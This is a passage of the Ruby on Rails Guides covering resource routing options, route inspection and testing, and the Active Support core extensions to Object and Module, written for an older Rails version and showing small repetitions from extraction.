will recognize incoming paths beginning with `/photos` but route to the `Images` controller:

HTTP Verb	Path	action	named helper
GET	/photos	index	photos_path
GET	/photos/new	new	new_photo_path
POST	/photos	create	photos_path
GET	/photos/:id	show	photo_path(:id)
GET	/photos/:id/edit	edit	edit_photo_path(:id)
PUT	/photos/:id	update	photo_path(:id)
DELETE	/photos/:id	destroy	photo_path(:id)

Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.

4.2 Specifying Constraints

You can use the `:constraints` option to specify a required format on the implicit `id`. For example:

```
resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
```

This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.

You can specify a single constraint to apply to a number of routes by using the block form:

```
constraints(:id => /[A-Z][A-Z][0-9]+/) do
  resources :photos
  resources :accounts
end
```

Of course, you can use the more advanced constraints available in non-resourceful routes in this context.

By default the `:id` parameter doesn't accept dots – this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this – for example `:id => /[^\/]+/` allows anything except a slash.

4.3 Overriding the Named Helpers

The `:as` option lets you override the normal naming for the named route helpers. For example:

```
resources :photos, :as => "images"
```

will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.

HTTP verb	Path	action	named helper
GET	/photos	index	images_path
GET	/photos/new	new	new_image_path
POST	/photos	create	images_path
GET	/photos/:id	show	image_path(:id)
GET	/photos/:id/edit	edit	edit_image_path(:id)
PUT	/photos/:id	update	image_path(:id)
DELETE	/photos/:id	destroy	image_path(:id)

4.4 Overriding the `new` and `edit` Segments

The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:

```
resources :photos, :path_names => { :new => 'make', :edit => 'change' }
```

This would cause the routing to recognize paths such as

```
/photos/make
/photos/1/change
```

The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.

If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.

```
scope :path_names => { :new => "make" } do
  # rest of your routes
end
```

4.5 Prefixing the Named Route Helpers

You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.

```
scope "admin" do
  resources :photos, :as => "admin_photos"
end

resources :photos
```

This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.

To prefix a group of route helpers, use `:as` with `scope`:

```
scope "admin", :as => "admin" do
  resources :photos, :accounts
end

resources :photos, :accounts
```

This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.

The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.

You can prefix routes with a named parameter also:

```
scope ":username" do
  resources :posts
end
```

This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as

This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.

4.6 Restricting the Routes Created

By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:

```
resources :photos, :only => [:index, :show]
```

Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.

The `:except` option specifies a route or list of routes that Rails should *not* create:

```
resources :photos, :except => :destroy
```

In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).

If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.

4.7 Translated Paths

Using `scope`, we can alter path names generated by resources:

```
scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
  resources :categories, :path => "kategorien"
end
```

Rails now creates routes to the `CategoriesController`.

HTTP verb	Path	action	named helper
GET	/kategorien	index	categories_path
GET	/kategorien/neu	new	new_category_path
POST	/kategorien	create	categories_path
GET	/kategorien/:id	show	category_path(:id)
GET	/kategorien/:id/bearbeiten	edit	edit_category_path(:id)
PUT	/kategorien/:id	update	category_path(:id)
DELETE	/kategorien/:id	destroy	category_path(:id)

4.8 Overriding the Singular Form

If you want to define the singular form of a resource, you should add additional rules to the `Inflector`.

```
ActiveSupport::Inflector.inflections do |inflect|
  inflect.irregular 'tooth', 'teeth'
end
```

4.9 Using `:as` in Nested Resources

The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example,

```
resources :magazines do
  resources :ads, :as => 'periodical_ads'
end
```

This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.

5 Inspecting and Testing Routes

Rails offers facilities for inspecting and testing your routes.

5.1 Seeing Existing Routes with `rake`

If you want a complete list of all of the available routes in your application, run `rake routes` command. This will print

If you want a complete list of all of the available routes in your application, run `rake routes` command. This will print all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see:

- The route name (if any)
- The HTTP verb used (if the route doesn't respond to all verbs)
- The URL pattern to match
- The routing parameters for the route

For example, here's a small section of the `rake routes` output for a RESTful route:

```
    users GET    /users(.:format)          users#index
          POST   /users(.:format)          users#create
 new_user GET    /users/new(.:format)      users#new
edit_user GET    /users/:id/edit(.:format) users#edit
```

You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:

```
$ CONTROLLER=users rake routes
```

You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.

5.2 Testing Routes

Routes should be included in your testing strategy (just like the rest of your application). Rails offers three **built-in assertions** designed to make testing routes simpler:

- `assert_generates`
- `assert_recognizes`
- `assert_routing`

5.2.1 The `assert_generates` Assertion

`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.

```
assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
assert_generates "/about", :controller => "pages", :action => "about"
```

5.2.2 The `assert_recognizes` Assertion

`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application.

```
assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
```

You can supply a `:method` argument to specify the HTTP verb:

```
assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
```

5.2.3 The `assert_routing` Assertion

The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`.

```
assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
```

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Active Support Core Extensions

Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.

It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.

By referring to this guide you will learn the extensions to the Ruby core classes and modules provided by Active Support.

Chapters

1. How to Load Core Extensions
    - Stand-Alone Active Support
    - Active Support Within a Ruby on Rails Application
2. Extensions to All Objects
    - `blank?` and `present?`
    - `presence`
    - `duplicable?`
    - `try`
    - `singleton_class`
    - `class_eval(*args, &block)`
    - `acts_like?(duck)`
    - `to_param`
    - `to_query`
    - `with_options`
    - Instance Variables
    - Silencing Warnings, Streams, and Exceptions
    - `in?`
3. Extensions to `Module`
    - `alias_method_chain`
    - Attributes
    - Parents
    - Constants
    - Synchronization
    - Reachable
    - Anonymous
    - Method Delegation
    - Method Names
    - Redefining Methods
4. Extensions to `Class`
    - Class Attributes
    - Class Inheritable Attributes
    - Subclasses & Descendants
5. Extensions to `String`
    - Output Safety
    - `squish`
    - `truncate`
    - `inquiry`
    - Key-based Interpolation
    - `starts_with?` and `ends_with?`
    - `strip_heredoc`
    - Access
    - Inflections
    - Conversions
6. Extensions to `Numeric`
    - Bytes
7. Extensions to `Integer`

    - multiple_of?
    - ordinalize
8. Extensions to Float
    - round
9. Extensions to BigDecimal
10. Extensions to Enumerable
    - group_by
    - sum
    - each_with_object
    - index_by
    - many?
    - exclude?
11. Extensions to Array
    - Accessing
    - Random Access
    - Adding Elements
    - Options Extraction
    - Conversions
    - Wrapping
    - Grouping
12. Extensions to Hash
    - Conversions
    - Merging
    - Diffing
    - Working with Keys
    - Slicing
    - Extracting
    - Indifferent Access
13. Extensions to Regexp
    - multiline?
14. Extensions to Range
    - to_s
    - step
    - include?
    - cover?
    - overlaps?
15. Extensions to Proc
    - bind
16. Extensions to Date
    - Calculations
    - Conversions
17. Extensions to DateTime
    - Calculations
18. Extensions to Time
    - Calculations
    - Time Constructors
19. Extensions to Process
    - daemon
20. Extensions to File
    - atomic_write
21. Extensions to Logger
    - around_[level]
    - silence
    - datetime_format=
22. Extensions to NameError
23. Extensions to LoadError

1 How to Load Core Extensions

1.1 Stand-Alone Active Support

In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions

in one shot, even everything.

Thus, after a simple require like:

```
require 'active_support'
```

objects do not even respond to `blank?`. Let's see how to load its definition.

1.1.1 Cherry-picking a Definition

The most lightweight way to get `blank?` is to cherry-pick the file that defines it.

For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:

Defined in `active_support/core_ext/object/blank.rb`.

That means that this single call is enough:

```
require 'active_support/core_ext/object/blank'
```

Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.

1.1.2 Loading Grouped Core Extensions

The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.

Thus, to load all extensions to `Object` (including `blank?`):

```
require 'active_support/core_ext/object'
```

1.1.3 Loading All Core Extensions

You may prefer just to load all core extensions, there is a file for that:

```
require 'active_support/core_ext'
```

1.1.4 Loading All Active Support

And finally, if you want to have all Active Support available just issue:

```
require 'active_support/all'
```

That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.

1.2 Active Support Within a Ruby on Rails Application

A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.

2 Extensions to All Objects

2.1 `blank?` and `present?`

The following values are considered to be blank in a Rails application:

- `nil` and `false`,
- strings composed only of whitespace (see note below),
- empty arrays and hashes, and
- any other object that responds to `empty?` and it is empty.

In Ruby 1.9 the predicate for strings uses the Unicode-aware character class `[:space:]`, so for example `U2029 (paragraph separator) is considered to be whitespace. In Ruby 1.8 whitespace is considered to be \s together with the ideographic space U3000`.

Note that numbers are not mentioned, in particular 0 and 0.0 are **not** blank.

For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:

```
def ensure_session_key!
  if @key.blank?
    raise ArgumentError, 'A key is required...'
  end
end
```

The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:

```
def set_conditional_cache_control!
  return if self["Cache-Control"].present?
  ...
end
```

Defined in `active_support/core_ext/object/blank.rb`.

2.2 `presence`

The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:

```
host = config[:host].presence || 'localhost'
```

Defined in `active_support/core_ext/object/blank.rb`.

2.3 `duplicable?`

A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:

```
1.object_id                 # => 3
Math.cos(0).to_i.object_id  # => 3
```

Hence, there's no way these objects can be duplicated through `dup` or `clone`:

```
true.dup  # => TypeError: can't dup TrueClass
```

Some numbers which are not singletons are not duplicable either:

```
0.0.clone        # => allocator undefined for Float
(2**1024).clone  # => allocator undefined for Bignum
```

Active Support provides `duplicable?` to programmatically query an object about this property:

```
"".duplicable?     # => true
false.duplicable?  # => false
```

By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, and class and module objects.

Any class can disallow duplication removing `dup` and `clone` or raising exceptions from them, only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.

Defined in `active_support/core_ext/object/duplicable.rb`.

2.4 `try`

Sometimes you want to call a method provided the receiver object is not `nil`, which is something you usually check first. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.

For instance, in this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` `@logger` could be `nil`, but you save the check and write in an optimistic style:

```
def log_info(sql, name, ms)
  if @logger.try(:debug?)
    name = '%s (%.1fms)' % [name || 'SQL', ms]
```

```
    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
  end
end
```

`try` can also be called without arguments but a block, which will only be executed if the object is not nil:

```
@person.try { |p| "#{p.first_name} #{p.last_name}" }
```

Defined in `active_support/core_ext/object/try.rb`.

2.5 `singleton_class`

The method `singleton_class` returns the singleton class of the receiver:

```
String.singleton_class     # => #<Class:String>
String.new.singleton_class # => #<Class:#<String:0x17a1d1c>>
```

Fixnums and symbols have no singleton classes, `singleton_class` raises `TypeError` on them. Moreover, the singleton classes of `nil`, `true`, and `false`, are `NilClass`, `TrueClass`, and `FalseClass`, respectively.

Defined in `active_support/core_ext/kernel/singleton_class.rb`.

2.6 `class_eval(*args, &block)`

You can evaluate code in the context of any object's singleton class using `class_eval`:

```
class Proc
  def bind(object)
    block, time = self, Time.now
    object.class_eval do
      method_name = "__bind_#{time.to_i}_#{time.usec}"
      define_method(method_name, &block)
      method = instance_method(method_name)
      remove_method(method_name)
      method
    end.bind(object)
  end
end
```

Defined in `active_support/core_ext/kernel/singleton_class.rb`.

2.7 `acts_like?(duck)`

The method `acts_like` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines

```
def acts_like_string?
end
```

which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:

```
some_klass.acts_like?(:string)
```

Rails has classes that act like `Date` or `Time` and follow this contract.

Defined in `active_support/core_ext/object/acts_like.rb`.

2.8 `to_param`

All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.

By default `to_param` just calls `to_s`:

```
7.to_param # => "7"
```

The return value of `to_param` should **not** be escaped:

```
"Tom & Jerry".to_param # => "Tom & Jerry"
```

Several classes in Rails overwrite this method.

For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":

```
[0, true, String].to_param # => "0/true/String"
```

Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given

```
class User
  def to_param
    "#{id}-#{name.parameterize}"
  end
end
```

we get:

```
user_path(@user) # => "/users/357-john-smith"
```

Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.

Defined in `active_support/core_ext/object/to_param.rb`.

2.9 `to_query`

Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given

```
class User
  def to_param
    "#{id}-#{name.parameterize}"
  end
end
```

we get:

```
current_user.to_query('user') # => user=357-john-smith
```

This method escapes whatever is needed, both for the key and the value:

```
account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"
```

so its output is ready to be used in a query string.

Arrays return the result of applying `to_query` to each element with *`key`*`[]` as key, and join the result with "&":

```
[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
```

Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":

```
{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
```

The method `Hash#to_query` accepts an optional namespace for the keys:

```
{:id => 89, :name => "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
```

Defined in `active_support/core_ext/object/to_query.rb`.

2.10 `with_options`

The method `with_options` provides a way to factor out common options in a series of method calls.

Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:

proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:

```
class Account < ActiveRecord::Base
  has_many :customers, :dependent => :destroy
  has_many :products,  :dependent => :destroy
  has_many :invoices,  :dependent => :destroy
  has_many :expenses,  :dependent => :destroy
end
```

this way:

```
class Account < ActiveRecord::Base
  with_options :dependent => :destroy do |assoc|
    assoc.has_many :customers
    assoc.has_many :products
    assoc.has_many :invoices
    assoc.has_many :expenses
  end
end
```

That idiom may convey *grouping* to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:

```
I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
  subject i18n.t :subject
  body    i18n.t :body, :user_name => user.name
end
```

Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.

Defined in `active_support/core_ext/object/with_options.rb`.

2.11 Instance Variables

Active Support provides several methods to ease access to instance variables.

2.11.1 `instance_variable_names`

Ruby 1.8 and 1.9 have a method called `instance_variables` that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines `instance_variable_names` as a portable way to obtain them as strings:

```
class C
  def initialize(x, y)
    @x, @y = x, y
  end
end

C.new(0, 1).instance_variable_names # => ["@y", "@x"]
```

The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.

Defined in `active_support/core_ext/object/instance_variables.rb`.

2.11.2 `instance_values`

The method `instance_values` returns a hash that maps instance variable names without “@” to their corresponding values. Keys are strings both in Ruby 1.8 and 1.9:

```
class C
  def initialize(x, y)
    @x, @y = x, y
  end
end

C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
```

Defined in `active_support/core_ext/object/instance_variables.rb`.

2.12 Silencing Warnings, Streams, and Exceptions

The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:

```
silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
```

You can silence any stream while a block runs with `silence_stream`:

```
silence_stream(STDOUT) do
  # STDOUT is silent here
end
```

The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:

```
quietly { system 'bundle install' }
```

For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.

Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised:

```
# If the user is locked the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
  current_user.increment! :visits
end
```

Defined in `active_support/core_ext/kernel/reporting.rb`.

2.13 `in?`

The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`.

Examples of `in?`:

```
1.in?(1,2)          # => true
1.in?([1,2])        # => true
"lo".in?("hello")   # => true
25.in?(30..50)      # => false
1.in?(1)            # => ArgumentError
```

Defined in `active_support/core_ext/object/inclusion.rb`.

3 Extensions to `Module`

3.1 `alias_method_chain`

Using plain Ruby you can wrap methods with other methods, that's called *alias chaining*.

For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`:

```
ActionController::TestCase.class_eval do
  # save a reference to the original process method
  alias_method :original_process, :process

  # now redefine process and delegate to original_process
  def process(action, params=nil, session=nil, flash=nil, http_method='GET')
    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
    original_process(action, params, session, flash, http_method)
  end
end
```

That's the method `get`, `post`, etc. delegate the work to

That's the method `get`, `post`, etc., delegate the work to.

That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:

```
ActionController::TestCase.class_eval do
  def process_with_stringified_params(...)
    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
    process_without_stringified_params(action, params, session, flash, http_method)
  end
  alias_method :process_without_stringified_params, :process
  alias_method :process, :process_with_stringified_params
end
```

The method `alias_method_chain` provides a shortcut for that pattern:

```
ActionController::TestCase.class_eval do
  def process_with_stringified_params(...)
    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
    process_without_stringified_params(action, params, session, flash, http_method)
  end
  alias_method_chain :process, :stringified_params
end
```

Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations.

Defined in `active_support/core_ext/module/aliasing.rb`.

3.2 Attributes

3.2.1 `alias_attribute`

Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):

```
class User < ActiveRecord::Base
  # let me refer to the email column as "login",
  # possibly meaningful for authentication code
  alias_attribute :login, :email
end
```

Defined in `active_support/core_ext/module/aliasing.rb`.

3.2.2 `attr_accessor_with_default`

The method `attr_accessor_with_default` serves the same purpose as the Ruby macro `attr_accessor` but allows you to set a default value for the attribute:

```
class Url
  attr_accessor_with_default :port, 80
end

Url.new.port # => 80
```

The default value can be also specified with a block, which is called in the context of the corresponding object:

```
class User
  attr_accessor :name, :surname
  attr_accessor_with_default(:full_name) do
    [name, surname].compact.join(" ")
  end
end

u = User.new
u.name = 'Xavier'
u.surname = 'Noria'
u.full_name # => "Xavier Noria"
```

The result is not cached, the block is invoked in each call to the reader.

You can overwrite the default with the writer:

```
url = Url.new
url.host # => 80
url.host = 8080
url.host # => 8080
```

The default value is returned as long as the attribute is unset. The reader does not rely on the value of the attribute to know whether it has to return the default. It rather monitors the writer: if there's any assignment the value is no longer considered to be unset.

Active Resource uses this macro to set a default value for the `:primary_key` attribute:

```
attr_accessor_with_default :primary_key, 'id'
```

Defined in `active_support/core_ext/module/attr_accessor_with_default.rb`.

3.2.3 Internal Attributes

When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.

Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.

The macro `attr_internal` is a synonym for `attr_internal_accessor`:

```
# library
class ThirdPartyLibrary::Crawler
  attr_internal :log_level
end

# client code
class MyCrawler < ThirdPartyLibrary::Crawler
  attr_accessor :log_level
end
```

In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.

By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.

Rails uses internal attributes in a few spots, for examples for views:

```
module ActionView
  class Base
    attr_internal :captures
    attr_internal :request, :layout
    attr_internal :controller, :template
  end
end
```

Defined in `active_support/core_ext/module/attr_internal.rb`.

3.2.4 Module Attributes

The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check **Class Attributes**.

For example, the dependencies mechanism uses them:

```
module ActiveSupport
  module Dependencies
```

```
    mattr_accessor :warnings_on_first_load
    mattr_accessor :history
    mattr_accessor :loaded
    mattr_accessor :mechanism
    mattr_accessor :load_paths
    mattr_accessor :load_once_paths
    mattr_accessor :autoloaded_constants
    mattr_accessor :explicitly_unloadable_constants
    mattr_accessor :logger
    mattr_accessor :log_activity
    mattr_accessor :constant_watch_stack
    mattr_accessor :constant_watch_stack_mutex
  end
end
```

Defined in `active_support/core_ext/module/attribute_accessors.rb`.

3.3 Parents

3.3.1 `parent`

The `parent` method on a nested named module returns the module that contains its corresponding constant:

```
module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.parent # => X::Y
M.parent       # => X::Y
```

If the module is anonymous or belongs to the top-level, `parent` returns `Object`.

Note that in that case `parent_name` returns `nil`.

Defined in `active_support/core_ext/module/introspection.rb`.

3.3.2 `parent_name`

The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:

```
module X
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.parent_name # => "X::Y"
M.parent_name       # => "X::Y"
```

For top-level or anonymous modules `parent_name` returns `nil`.

Note that in that case `parent` returns `Object`.

Defined in `active_support/core_ext/module/introspection.rb`.

3.3.3 `parents`

The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:

```
module X
```

```
  module Y
    module Z
    end
  end
end
M = X::Y::Z

X::Y::Z.parents # => [X::Y, X, Object]
M.parents       # => [X::Y, X, Object]
```

Defined in `active_support/core_ext/module/introspection.rb`.

3.4 Constants

The method `local_constants` returns the names of the constants that have been defined in the receiver module:

```
module X
  X1 = 1
  X2 = 2
  module Y
    Y1 = :y1
    X1 = :overrides_X1_above
  end
end

X.local_constants    # => ["X2", "X1", "Y"], assumes Ruby 1.8
X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8
```

The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method `local_constant_names` always returns strings.

This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using `Object#object_id`).

Defined in `active_support/core_ext/module/introspection.rb`.

3.4.1 Qualified Constant Names

The standard methods `const_defined?`, `const_get` , and `const_set` accept bare constant names. Active Support extends this API to be able to pass relative qualified constant names.

The new methods are `qualified_const_defined?`, `qualified_const_get`, and `qualified_const_set`. Their arguments are assumed to be qualified constant names relative to their receiver:

```
Object.qualified_const_defined?("Math::PI")       # => true
Object.qualified_const_get("Math::PI")            # => 3.141592653589793
Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
```

Arguments may be bare constant names:

```
Math.qualified_const_get("E") # => 2.718281828459045
```

These methods are analogous to their builtin counterparts. In particular, `qualified_constant_defined?` accepts an optional second argument in 1.9 to be able to say whether you want the predicate to look in the ancestors. This flag is taken into account for each constant in the expression while walking down the path.

For example, given

```
module M
  X = 1
end

module N
  class C
    include M
  end
end
```

qualified_const_defined? behaves this way:

```
N.qualified_const_defined?("C::X", false) # => false (1.9 only)
N.qualified_const_defined?("C::X", true)  # => true (1.9 only)
N.qualified_const_defined?("C::X")        # => false in 1.8, true in 1.9
```

As the last example implies, in 1.9 the second argument defaults to true, as in const_defined?.

For coherence with the builtin methods only relative paths are accepted. Absolute qualified constant names like ::Math::PI raise NameError.

Defined in active_support/core_ext/module/qualified_const.rb.

3.5 Synchronization

The synchronize macro declares a method to be synchronized:

```
class Counter
  @@mutex = Mutex.new
  attr_reader :value

  def initialize
    @value = 0
  end

  def incr
    @value += 1 # non-atomic
  end
  synchronize :incr, :with => '@@mutex'
end
```

The method receives the name of an action, and a :with option with code. The code is evaluated in the context of the receiver each time the method is invoked, and it should evaluate to a Mutex instance or any other object that responds to synchronize and accepts a block.

Defined in active_support/core_ext/module/synchronization.rb.

3.6 Reachable

A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.

That is what ordinarily happens, if a module is called “M”, the M constant exists and holds it:

```
module M
end

M.reachable? # => true
```

But since constants and modules are indeed kind of decoupled, module objects can become unreachable:

```
module M
end

orphan = Object.send(:remove_const, :M)

# The module object is orphan now but it still has a name.
orphan.name # => "M"

# You cannot reach it via the constant M because it does not even exist.
orphan.reachable? # => false

# Let's define a module called "M" again.
module M
end

# The constant M exists now again, and it stores a module
# object called "M", but it is a new instance.
```

```
orphan.reachable? # => false
```

Defined in `active_support/core_ext/module/reachable.rb`.

3.7 Anonymous

A module may or may not have a name:

```
module M
end
M.name # => "M"

N = Module.new
N.name # => "N"

Module.new.name # => "" in 1.8, nil in 1.9
```

You can check whether a module has a name with the predicate `anonymous?`:

```
module M
end
M.anonymous? # => false

Module.new.anonymous? # => true
```

Note that being unreachable does not imply being anonymous:

```
module M
end

m = Object.send(:remove_const, :M)

m.reachable? # => false
m.anonymous? # => false
```

though an anonymous module is unreachable by definition.

Defined in `active_support/core_ext/module/anonymous.rb`.

3.8 Method Delegation

The macro `delegate` offers an easy way to forward methods.

Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:

```
class User < ActiveRecord::Base
  has_one :profile
end
```

With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:

```
class User < ActiveRecord::Base
  has_one :profile

  def name
    profile.name
  end
end
```

That is what `delegate` does for you:

```
class User < ActiveRecord::Base
  has_one :profile

  delegate :name, :to => :profile
end
```

It is shorter, and the intention more obvious.

The method must be public in the target.

The `delegate` macro accepts several methods:

```
delegate :name, :age, :address, :twitter, :to => :profile
```

When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:

```
# delegates to the Rails constant
delegate :logger, :to => :Rails

# delegates to the receiver's class
delegate :table_name, :to => 'self.class'
```

If the `:prefix` option is `true` this is less generic, see below.

By default, if the delegation raises `NoMethodError` and the target is `nil` the exception is propagated. You can ask that `nil` is returned instead with the `:allow_nil` option:

```
delegate :name, :to => :profile, :allow_nil => true
```

With `:allow_nil` the call `user.name` returns `nil` if the user has no profile.

